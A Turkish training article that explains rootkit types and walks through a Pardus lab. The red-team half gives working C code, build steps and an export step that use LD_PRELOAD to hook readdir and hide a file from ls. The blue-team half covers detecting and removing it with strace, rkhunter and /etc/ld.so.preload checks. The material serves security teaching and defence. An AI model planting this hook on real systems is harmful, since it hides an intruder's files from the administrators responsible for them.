Rootkit: İşletim Sisteminin Karanlık Yüzü
Siber güvenlik eğitimlerinde, özellikle Kırmızı Takım (Red Team) ve Mavi Takım (Blue Team) simülasyonlarını içeren kapsamlı müfredatlarda Rootkit'lerin çalışma mantığını kavramak, işletim sistemi mimarisinin ne kadar derinlerine inilebileceğini göstermek açısından kritik bir aşamadır.
Öğrenciler veya siber güvenliğe yeni adım atanlar için hazırlayabileceğiniz, MITRE ATT&CK çerçevesini de (T1014) göz önünde bulunduran detaylı bir eğitim makalesini aşağıda bulabilirsiniz.
Siber güvenlik dünyasında tehditlerin büyük bir kısmı görünür olmak zorundadır; bir fidye yazılımı dosyalarınızı şifrelediğini size bağırarak söyler. Ancak bazı tehditler vardır ki, en büyük güçleri sessizliklerinden ve görünmezliklerinden gelir. İşte Rootkit (Kök Kullanıcı Takımı), sistemde var olduğunu gizlemek ve saldırgana en üst düzey (root/admin) yetkilerle kalıcı erişim sağlamak için tasarlanmış, tespit edilmesi en zor zararlı yazılım türlerinden biridir.
Rootkit Nedir?
"Rootkit" kelimesi, Unix ve Linux dünyasındaki en yetkili kullanıcı olan "Root" ile, bir dizi yazılım aracını ifade eden "Kit" kelimelerinin birleşiminden oluşur. Temel amacı bir sisteme ilk kez sızmak değildir; halihazırda sızılmış bir sistemde kalıcılık (persistence) sağlamak ve bu sızıntıyı sistem yöneticilerinden, güvenlik yazılımlarından (Antivirüs, EDR) gizlemektir.
Bir rootkit sisteme yerleştiğinde, işletim sisteminin temel işlevlerini "kancalar" (hooking) veya doğrudan manipüle eder. Böylece sistem yöneticisi çalışan süreçleri (process) listelediğinde, ağ bağlantılarını kontrol ettiğinde veya dosyaları aradığında, rootkit kendi bileşenlerini bu sonuçlardan silerek kendini görünmez kılar.
Rootkit Türleri (Çalışma Katmanlarına Göre)
İşletim sistemleri, güvenlik ve kararlılık amacıyla farklı ayrıcalık seviyelerinde (Ring'ler) çalışır. Rootkit'ler de hedef aldıkları bu katmanlara göre sınıflandırılır:
1. Kullanıcı Modu (User-Mode) Rootkit'leri
En yaygın ve yazması en kolay türdür. İşletim sisteminin Kullanıcı Modunda (Ring 3) çalışırlar. İşletim sisteminin API çağrılarını manipüle ederler (API Hooking).
Çalışma Mantığı: Kullanıcı, örneğin
lsveya görev yöneticisi komutunu çalıştırdığında, rootkit araya girer. Çıkan sonuç listesinden kendi zararlı dosyasını veya sürecini siler ve kullanıcıya temizlenmiş, sahte bir liste sunar.Tespit: Nispeten daha kolaydır. Bellek taramaları ve davranışsal analizlerle Mavi Takım tarafından tespit edilebilirler.
2. Çekirdek Modu (Kernel-Mode) Rootkit'leri
Çok daha tehlikeli ve karmaşıktır. Doğrudan işletim sisteminin kalbinde, Çekirdek (Kernel - Ring 0) seviyesinde çalışırlar.
Çalışma Mantığı: Çekirdek seviyesindeki veri yapılarını doğrudan manipüle ederler (DKOM - Direct Kernel Object Manipulation). Sistemdeki antivirüs yazılımı da çekirdeğe güvenmek zorunda olduğu için, rootkit antivirüsün gözünü doğrudan kör edebilir.
Tespit: İşletim sisteminin kendisine güvenilemediği için standart araçlarla tespit edilemezler. Çevrimdışı analiz veya özel bellek adli bilişim (memory forensics) araçları gerektirir.
3. Bootkit (Önyükleme) Rootkit'leri
İşletim sistemi henüz yüklenmeden önce, bilgisayarın önyükleme aşamasında (MBR - Master Boot Record veya UEFI) devreye girerler. İşletim sistemi ayağa kalktığında, bootkit çoktan sistemi ele geçirmiş ve kendini gizlemiş olur.
4. Hypervisor (Sanallaştırma) Rootkit'leri
Hedef işletim sistemini, rootkit'in kontrol ettiği sahte bir sanal makine (Hypervisor) içine taşırlar. İşletim sistemi normal çalıştığını sanırken, aslında rootkit tüm donanım çağrılarını izler ve yönetir.
5. Firmware (Donanım Yazılımı) Rootkit'leri
Doğrudan ağ kartı, sabit disk veya BIOS/UEFI yongaları üzerindeki gömülü yazılımlara bulaşırlar. Sabit disk formatlansa veya işletim sistemi tamamen yeniden kurulsa bile sistemde kalmaya devam ederler.
Kırmızı ve Mavi Takım Perspektifinden Rootkit'ler
Kırmızı Takım (Offensive) Yaklaşımı
Kırmızı Takım operasyonlarında (özellikle APT - Gelişmiş Kalıcı Tehdit simülasyonlarında), sisteme sızdıktan sonra yetki yükseltme (Privilege Escalation) ve kalıcılık aşamalarında rootkit'ler devreye girer. Hazırlanan bir laboratuvar senaryosunda, Linux tabanlı bir sunucuda (örneğin eğitim için kullanılan bir Pardus sunucusunda) çekirdek modülü (LKM) olarak yüklenen bir rootkit'in, standart sistem yöneticisi komutlarını nasıl atlattığını göstermek mükemmel bir uygulamalı eğitim konusudur.
Mavi Takım (Defensive) Yaklaşımı ve Tespit
Mavi Takım için bir rootkit'i tespit etmek, "yalancı bir işletim sisteminden doğruyu söylemesini istemeye" benzer. Geleneksel imza tabanlı antivirüsler burada yetersiz kalır.
Bütünlük Kontrolleri (Integrity Checks): Sistem dosyalarının hash değerlerinin düzenli olarak alınması ve bilinen temiz durumla karşılaştırılması.
Davranışsal Analiz ve EDR: Süreçlerin olağan dışı bellek erişimleri veya beklenmedik sistem çağrılarının izlenmesi.
Çapraz Görünüm Analizi (Cross-View Analysis): Sistemdeki dosyaları önce yüksek seviyeli API'lerle (Windows API/POSIX), ardından doğrudan düşük seviyeli disk okuma araçlarıyla tarayıp aradaki farkı bulmak.
Ağ Trafiği İzleme: Cihaz kendini gizlese bile, dışarıdaki bir Komuta Kontrol (C2) sunucusu ile iletişim kurmak zorundadır. Ağı dinleyen bir araç (örn. Tshark veya Wireshark), cihazın gizlemeye çalıştığı ağ trafiğini yakalayabilir.
Sonuç
Rootkit'ler, siber güvenliğin en derin ve teknik açıdan en zorlu konularından biridir. Bir sistemin temeline ne kadar inilirse, o sistemin gerçekliğini bükmek o kadar kolaylaşır. Bu nedenle modern güvenlik mimarileri, sadece işletim sistemine değil, donanımsal güvenlik önlemlerine (Güvenli Önyükleme - Secure Boot, TPM modülleri) giderek daha fazla bağımlı hale gelmektedir.
Kırmızı Takım (Red Team) ve Mavi Takım (Blue Team) dinamiklerini gerçek bir sistem üzerinde görerek anlamaları, teorik bilgilerin pratiğe dönüşmesi açısından paha biçilemezdir.
Pardus laboratuvar ortamınızda kolayca uygulayabileceğiniz, LD_PRELOAD ortam değişkenini kullanarak komutları manipüle eden basit ama etkili bir Kullanıcı Modu (User-Mode) rootkit senaryosunu aşağıda bulabilirsiniz. Bu teknik, MITRE ATT&CK çerçevesinde T1574.006 (Hijack Execution Flow: Dynamic Linker Hijacking) olarak sınıflandırılır.
Laboratuvar Senaryosu: LD_PRELOAD ile Görünmezlik
Hedef: Sisteme önceden yüklenen özel bir C kütüphanesi ile Linux işletim sisteminin standart ls komutunun kullandığı dosya okuma API'sini (readdir) manipüle etmek ve belirli bir dosyayı sistem yöneticisinden gizlemek.
Gereksinimler:
Pardus yüklü bir sistem (Etap veya masaüstü sürümü fark etmez).
GCC derleyicisi (Eğer yüklü değilse:
sudo apt install gcc build-essential).
Kırmızı Takım Aşaması (Saldırı ve Gizlenme)
Saldırgan (Kırmızı Takım) sisteme sızmış ve oluşturduğu zararlı bir dosyayı, standart listeleme komutlarından saklamak istemektedir.
Adım 1: Gizlenecek Hedef Dosyayı Oluşturma Öğrencilerle birlikte bir deneme dizini açın ve içine normal dosyalarla birlikte gizlemek istediğimiz "zararlı" dosyayı ekleyin.
mkdir siber_labcd siber_labtouch normal_dosya1.txt normal_dosya2.txt siber_tehdit.txtls -lBu aşamada tüm dosyalar normal bir şekilde görünecektir.
Adım 2: Kanca (Hook) Kodunu Yazma
Sistem komutlarının arasına girecek olan C kodunu yazıyoruz. hook.c adında bir dosya oluşturun ve içine aşağıdaki kodları yapıştırın. Bu kod, libc içindeki orijinal readdir fonksiyonunu kancalayacak (hook) ve dosya adı siber_tehdit.txt ise bunu atlayacaktır.
#define _GNU_SOURCE#include <dirent.h>#include <stdio.h>#include <string.h>#include <dlfcn.h>
// Orijinal readdir fonksiyonunu tutacak işaretçi
struct dirent *(*original_readdir)(DIR *);
struct dirent *readdir(DIR *dirp) {
// Eğer orijinal fonksiyon henüz yüklenmediyse, dlsym ile belleğe al
if (!original_readdir) {
original_readdir = dlsym(RTLD_NEXT, "readdir");
}
struct dirent *dir;
// Dizindeki dosyaları oku
while (1) {
dir = original_readdir(dirp);
// Eğer okunacak dosya kalmadıysa döngüden çık
if (dir == NULL) {
break;
}
// Gizlemek istediğimiz dosya adını tespit edersen onu atla
if (strcmp(dir->d_name, "siber_tehdit.txt") == 0) {
continue;
}
// Diğer dosyaları normal şekilde göster
break;
}
return dir;
}Adım 3: Zararlı Kütüphaneyi Derleme
Yazdığımız bu C kodunu, dinamik olarak yüklenebilir bir paylaşımlı kütüphane (.so formatında) olarak derliyoruz:
gcc -shared -fPIC hook.c -o libgizle.so -ldl
Bu komut sonucunda dizinde libgizle.so adında bir dosya oluşacaktır.
Adım 4: Rootkit'i Aktif Etme (LD_PRELOAD)
Şimdi sihrin gerçekleştiği an. LD_PRELOAD değişkenini kendi kütüphanemizi gösterecek şekilde ayarlıyoruz. Bu, işletim sistemine "Herhangi bir komut çalıştırıldığında, önce benim kütüphanemi yükle" demektir.
export LD_PRELOAD=$PWD/libgizle.so
Adım 5: Test ve Gözlem Şimdi dizindeki dosyaları tekrar listeleyin:
ls -l
Sonuç: siber_tehdit.txt dosyası artık listede görünmeyecek! Dosya fiziksel olarak diskte durmasına ve cat siber_tehdit.txt ile içeriği okunabilmesine rağmen, klasör içeriğini listeleyen araçlar (ls, dir vb.) readdir fonksiyonunu kullandığı için Mavi Takım bu dosyayı standart araçlarla göremeyecektir.
Mavi Takım Aşaması (Tespit ve İyileştirme)
Mavi Takım (Savunma) rolündeki öğrenciler, sistemde bir gariplik sezdiklerinde bunu nasıl tespit edip çözeceklerini öğrenmelidir.
Adım 1: Anormalliğin Tespiti
Çoğu User-Mode rootkit, ortam değişkenlerine müdahale eder. Mavi Takım, şüpheli bir durumda LD_PRELOAD değişkeninin manipüle edilip edilmediğini kontrol etmelidir:
echo $LD_PRELOAD
Eğer çıktı olarak /yol/libgizle.so gibi bilinmeyen bir kütüphane dönerse, sistemde bir anormallik vardır.
Ayrıca strace gibi sistem çağrılarını izleyen araçlar, arka planda hangi kütüphanelerin yüklendiğini ele verebilir:
strace ls 2>&1 | grep libgizle.so
Adım 2: Tehdidin Ortadan Kaldırılması
Bu tür bir rootkit'in etkisi sadece o anki oturumla veya ortam değişkeniyle sınırlıdır (eğer ~/.bashrc veya /etc/ld.so.preload dosyalarına kalıcı olarak yazılmadıysa).
Etkiyi kaldırmak için değişkeni sıfırlamak yeterlidir:
unset LD_PRELOAD
Bu komuttan sonra ls -l yapıldığında, gizlenen siber_tehdit.txt dosyası tekrar görünür hale gelecektir. Kalıcılık kontrolü için öğrencilere /etc/ld.so.preload dosyasının içeriğini kontrol etmelerini (cat /etc/ld.so.preload) mutlaka tembihleyin.
Bu laboratuvar, öğrencilerinize işletim sistemi mimarisinin ne kadar esnek olduğunu ve güvenlik çözümlerinin neden sadece üst katmanlara (uygulama katmanına) güvenmemesi gerektiğini uygulamalı olarak gösterecektir.
Kırmızı Takım (Saldırı) şapkasını çıkarıp Mavi Takım (Savunma) şapkasını taktığımızda, sistemin derinliklerine gizlenmiş bu tehditleri bulmak için özel araçlara ihtiyacımız vardır. Standart antivirüs yazılımları, rootkit'ler tarafından kolayca manipüle edilebildikleri için bu konuda genellikle yetersiz kalırlar.
Özellikle Linux (Pardus, Debian vb.) ve Windows tabanlı sistemlerde laboratuvar eğitimleri verirken öğrencilere gösterilebilecek, endüstri standardı haline gelmiş başlıca rootkit tespit ve kontrol programları şunlardır:
1. Linux Ortamları İçin Temel Araçlar (Pardus / Debian Uyumlu)
Açık kaynaklı ekosistemde sistem bütünlüğünü kontrol etmek için kullanılan en yaygın ve kurulumu en pratik araçlardır.
rkhunter (Rootkit Hunter): En popüler araçlardan biridir. Sistemdeki temel komutların (örneğin
ls,ps,netstat) SHA-1 hash değerlerini, bilinen temiz durumlarıyla karşılaştırır. Ayrıca şüpheli gizli dosyaları, çekirdek (kernel) modüllerini ve yanlış dosya izinlerini tarar.Kurulum:
sudo apt install rkhunterKullanım:
sudo rkhunter --check
chkrootkit: Sistemin binary (çalıştırılabilir) dosyalarında değişiklik olup olmadığını kontrol eder. Ayrıca sistem kayıtlarını (logları) tarayarak, silinmiş veya değiştirilmiş log girişleri gibi rootkit izlerini arar.
Kurulum:
sudo apt install chkrootkitKullanım:
sudo chkrootkit
Lynis: Sadece bir rootkit tarayıcısı değil, kapsamlı bir sistem güvenlik ve sıkılaştırma (hardening) aracıdır. Sistemdeki zayıflıkları bulur ve Mavi Takım için ayrıntılı bir rapor sunar.
2. Gelişmiş Bellek ve Ağ Analizi (Derin Tespit)
Kernel-Mode (Çekirdek Modu) rootkit'ler işletim sistemini tamamen kandırdığı için, bazen işletim sistemine hiç güvenmemek ve analizi dışarıdan yapmak gerekir.
Volatility Framework: Siber güvenlik laboratuvarlarının vazgeçilmezidir. İşletim sisteminin RAM (bellek) imajını alıp çevrimdışı analiz yapmanızı sağlar. Sistem kendini gizlese bile, bellekteki gerçek süreçleri (process), gizli kancaları (hooks) ve ağ bağlantılarını Volatility ile açıkça görebilirsiniz.
Ağ Trafiği Analizi (Tshark / Wireshark): Bir rootkit sistemde ne kadar iyi gizlenirse gizlensin, saldırganla iletişim kurmak için ağa çıkmak zorundadır. Tshark veya Wireshark ile ağ arayüzü dinlendiğinde, cihaz üzerinde görünmeyen ama ağda var olan anomaliler, komuta kontrol (C2) trafiği tespit edilebilir.
3. Windows Ortamları İçin Araçlar (Karşılaştırmalı Analiz)
Eğer siber güvenlik müfredatında karma ortamlara (Windows/Linux) yer veriyorsanız, şu araçlar da Windows tarafındaki davranışları anlamak için kritiktir:
Sysinternals RootkitRevealer: Eski ama çalışma mantığını anlatmak için mükemmel bir araçtır. Dosya sistemini önce standart Windows API'leri ile, sonra da doğrudan disk sektörlerini okuyarak tarar ve aradaki "farkı" bularak rootkit'i yakalar.
Kaspersky TDSSKiller: Özellikle Bootkit (önyükleme sektörüne yerleşen) ve gelişmiş çekirdek modu rootkit'leri tespit edip temizlemek için sıklıkla kullanılan spesifik bir araçtır.
GMER: Gizli süreçleri, gizli servisleri ve SSDT (System Service Descriptor Table) kancalarını tespit eden çok güçlü bir araçtır.
Bu araçlar, saldırı ve savunma dinamiklerini anlamak için harika bir temel oluşturur.
Bu laboratuvar adımında öğrenciler, daha önce Pardus ETAP 23 üzerinde Kırmızı Takım şapkasıyla LD_PRELOAD kullanarak sisteme yerleştirdikleri gizli kütüphaneyi, bu kez Mavi Takım şapkasıyla rkhunter aracı üzerinden nasıl tespit edip temizleyeceklerini görecekler.
Mavi Takım Avı: Rootkit Tespiti ve Temizliği
Senaryo Durumu: Kırmızı Takım, sisteme libgizle.so kütüphanesini yüklemiş ve LD_PRELOAD ortam değişkenini manipüle ederek siber_tehdit.txt dosyasını standart listeleme araçlarından (ls) gizlemiştir.
Mavi Takım Hedefi: Sisteme dışarıdan dahil olan bir analist olarak, işletim sistemindeki anormalliği tespit etmek, rootkit'in kaynağını bulmak ve sistemi temizlemek.
Adım 1: Rkhunter Kurulumu ve Veritabanı Güncellemesi
Öğrencilerin Cinnamon masaüstü ortamında bir terminal penceresi açarak öncelikle savunma aracını sisteme kurmaları gerekir.
# Paket yöneticisini güncelle ve rkhunter'ı kursudo apt updatesudo apt install rkhunter -y# Rkhunter'ın imza ve zaafiyet veritabanını güncellesudo rkhunter --updateEğitmen Notu: Gerçek dünya senaryolarında Mavi Takım, sistem henüz temizken
sudo rkhunter --propupdkomutuyla sistemin temiz halinin bir "fotoğrafını" (hash değerlerini) çeker. Ancak bu laboratuvarda, halihazırda enfekte olmuş bir sistemde anomali arayacağız.
Adım 2: Avı Başlatma (Sistem Taraması)
Rkhunter, sistemin birçok farklı noktasını tarar. Bizim Kırmızı Takım laboratuvarında kullandığımız yöntem paylaşımlı kütüphaneler (shared libraries) ve ortam değişkenleri üzerinden çalıştığı için, rkhunter bu anormalliği arayacaktır.
Öğrenciler taramayı başlatır (Taramayı hızlandırmak için sadece ilgili testleri de çalıştırabilirler, ancak genel tarama her zaman daha öğreticidir):
# Tüm kontrolleri çalıştır (Enter'a basarak ilerlemeyi gerektirir)sudo rkhunter --check # Sadece ortam değişkenleri ve kütüphane kontrollerini yapmak için:sudo rkhunter --check --enable shared_libs,propertiesAdım 3: Analiz ve Tespiti Anlamlandırma
Tarama bittiğinde rkhunter ekrana bir özet rapor sunacaktır. Öğrenciler terminal ekranında kırmızı renkle yazılmış "Warning" (Uyarı) satırlarını aramalıdır.
Bu spesifik saldırıda, Mavi Takım log kayıtlarında şu şekilde bir uyarı yakalayacaktır:
[ Warning ] The LD_PRELOAD environment variable is set...[ Warning ] Suspicious shared library /home/kullanici/siber_lab/libgizle.so
Mavi Takım analisti bu uyarıyı gördüğünde, sistemdeki komutların (örneğin ls, ps gibi) arasına başka bir kütüphanenin girdiğini kesin olarak anlar.
Adım 4: Temizlik ve Doğrulama (Eradication)
Tehdit tespit edildiğine göre, artık sistemden sökülüp atılması gerekmektedir. Öğrenciler şu adımları izleyerek sistemi orijinal, temiz haline döndürürler:
Zararlı Bağlantıyı Koparma: Mevcut terminal oturumundaki kancayı (hook) iptal ederler.
Bashunset LD_PRELOADKalıcılığı Kontrol Etme: Saldırganın bu kütüphaneyi sistemi her yeniden başlattığında çalışacak şekilde kalıcı yapıp yapmadığını kontrol ederler.
Bash# Bu dosyanın içi boş olmalıdır. İçinde libgizle.so yazıyorsa silinmelidir.cat /etc/ld.so.preloadTehdidi Doğrulama: Kanca (hook) kaldırıldıktan sonra, Kırmızı Takımın gizlediği dosya artık görünür hale gelmelidir.
Bashls -lÖğrenciler burada
siber_tehdit.txtdosyasını tekrar göreceklerdir.Zararlı Kütüphaneyi Silme: Artık işlevi kalmayan ve tespit edilen rootkit kütüphanesini diskten tamamen silerler.
Bashrm /home/kullanici/siber_lab/libgizle.so
Bu simülasyon tamamlandığında öğrenciler, işletim sistemindeki dosyaların neden birdenbire "kaybolduğunu" ve bir sistem yöneticisinin her zaman standart araçlara (görev yöneticisi, ls komutu vb.) körü körüne güvenmemesi gerektiğini yaşayarak tecrübe etmiş olacaklardır. İşletim sistemi çekirdek yapısı ve bellek yönetimi konuları, bu pratik uygulamanın üzerine çok daha sağlam bir şekilde inşa edilebilir.
Yorumlar